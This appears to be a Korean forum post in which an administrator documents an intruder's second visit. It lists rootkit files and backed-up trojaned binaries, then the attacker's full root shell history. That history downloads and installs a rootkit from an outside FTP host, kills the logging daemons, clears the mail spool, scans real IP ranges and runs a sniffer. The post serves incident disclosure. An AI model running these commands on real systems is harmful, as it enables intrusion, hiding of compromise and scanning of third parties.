어제 일요일 다시 들어와서 이리저리 장난치고 갔군요.
같은놈인데 이번에는 흔적을 좀더 자세하게 남겼어요.
 일단 발견한건
3 sn
3 shell
3 bind
3 s
3 sense
3 synk
3 nmap
3 mtr
3 telnet
3 .sex
3 .sex1
3 .sex2
3 klogd
3 login
3 muh
3 eggdrop
3 bnc
  합계 324
drwxr-xr-x    3 root     root         4096  9월 22 19:41 ./
drwxr-xr-x   12 root     root         4096  9월 22 19:32 ../
drwxr-xr-x    2 root     root         4096  9월 22 19:41 .back-up/
-rwx--x--x    1 root     root          236  9월 22 19:06 logclear*
-rwx--x--x    1 root     root         8268  9월 22 18:56 s*
-rwxr-xr-x    1 root     root         4060  9월 22 18:56 sense*
-rwx--x--x    1 root     root         7165  9월 22 18:56 sniff*
-rwxr-x--x    1 root     root         9490  9월 22 18:56 synk*
-rw-r--r--    1 root     root       271087 10월  2 17:30 tcp.log
 .back-up
합계 188
drwxr-xr-x    2 root     root         4096 10월  2 17:33 ./
drwxr-xr-x    3 root     root         4096 10월  2 17:32 ../
-rwxr-xr-x    1 root     root        19840  9월 22 19:41 ifconfig*
-rwxr-xr-x    1 root     root        12235  9월 22 19:41 login*
-rwxr-xr-x    1 root     root        35300  9월 22 19:41 netstat*
-rwxr-xr-x    1 root     root        33280  9월 22 19:41 ps*
-rwxr-xr-x    1 root     root        15538  9월 22 19:41 rc.sysinit*
-rwxr-xr-x    1 root     root        53588  9월 22 19:41 top*
  # root 히스토리
w
mkdir .cache
cd .cache
ftp cyberg.net
tar zxvf .rk.tgz
v .rk.tgz rk.tgz
mv .rk.tgz rk.tgz
ps -ax | more
killall -9 klogd
killall -9 atd
ps -ax | grep klogd
kill -9 3863
telnet localhost 22546
ps -ax | more
killall -9 mtr
kill -9 15587
cd rk
./install
ps -ax | more
tail -f /var/lgomess
tail -f /var/log/messages
telnet localhost 222
telnet localhost 22546
ls -lsa /usr/sbin/login
ls -lsa
cd ..
ls -lsa
cd ..
rm -rf .cache
cd /tmp
ls -lsa
rm -rf .bckup
cd /usr/X11R6/include/X11
cd ...
ls -lsa
ps -ax | grep sniff
telnet localhost 222
telnet localhost 22546
cat /dev/.ps
]cat /dev/.ps
cat /dev/.net
netstat -a -t  | moer
etstat -a -t | more
netstat -a -t | more
cat /dev/.net
exit
w
nmap -sS -O -p 1-65535 195.232.107.71 > /usr/doc/tess-1.1
nmap -sS -O -p 1-65535 195.232.107.71 > /usr/doc/tess-1.1&
ps -ax | more
cat /usr/doc/tess-1.1
nmap -sS -O -P0 -p 1-65535 195.232.107.71 >/usr/doc/tess-1.1 &
ps -ax | more
cat /usr/doc/tess-1.1
mail
echo > /var/spool/mail/root
cat /usr/doc/tess-1.1
mail
killall -9 nmap
cat /usr/doc/tess-1.1
./psr
mtr srv1.barkers.co.uk
ssh -l root -v -C srv1.barkers.co.uk -p 222
ssh -l root -v -C 212.9032.77
ssh -l root -v -C 212.90.32.77 -p 222
ssh -l root -v -C 212.90.32.79 -p 222
exit
cd /usr/X11R6/include/X11
cd ...
ls
./s 0 x.inext.ro 1 1024 &
./s 0 x.inext.ro 1 1024 &
./s 0 193.230.207.65 1 1024 &
./s 0 193.230.207.65 1 1024 &
traceroute 194.102.114.100
w
netstat -a -t
at /edv/.ps
cat /dev/.ps
ps -ax | more
echo "3 22" >> /dev/.net
netstat -a -t
/sbin/ipchains -L
killall -9 s
/s 0 194.102.125.1 1024 &
/s 0 194.102.125.1 1024 &
/s 0 194.102.125.1 1 1024 &
/s 0 194.102.125.1 1 1024 &
./s 0 194.102.124.1 1 1024 &
./s 0 194.102.124.1 1 1024 &
ls-lsa
ls -lsa
strings sniff
./sniff
./sniff &
killall -9 s
exit
cd /usr/X11R6/include/X11
cd ...
ls -lsa
./s 0 194.102.124.1 1 1024
./s 0 194.102.124.1 1 1024 &
./s 0 194.102.124.1 1 1024 &
killall -9 s
echo > /var/spool/mail/root
exit
w
cd /usr/X11R6/include/X11/...
ls -lsa
./sesne tcp.log
./sense tcp.log
exit
w
cd /usr/X11R6/include/X11/...
ls -lsa
./sense tcp.log
exit
...
cd /usr/X11R6/include/X11
cd
cd /usr/X11/R6/include/X11/...
cd /usr/X11R6/include/X11/...
./s 0 193.226.122.177 1 1024 &
./s 0 193.226.122.177 1 1024 &
killall -9 s
./s 0 193.226.122.77 1 1024 &
./s 0 193.226.122.77 1 1024 &
killall -9 s
exit
w
cd /usr/X11R6/include/X11/...
./s 0 194.102.124.73 1 1024 &
exit
w
cd /usr/X11R6/include/X11/...
ls
ls -lsa
./sense tcp.log
exit
    대충 이정도 입니다.
이번에는 replace된 바이너리 툴킷들을 남겨놓고 갔습니다.
왜 남겨놓고 갔는지는 모르겠네요..긁적~...나쁜놈.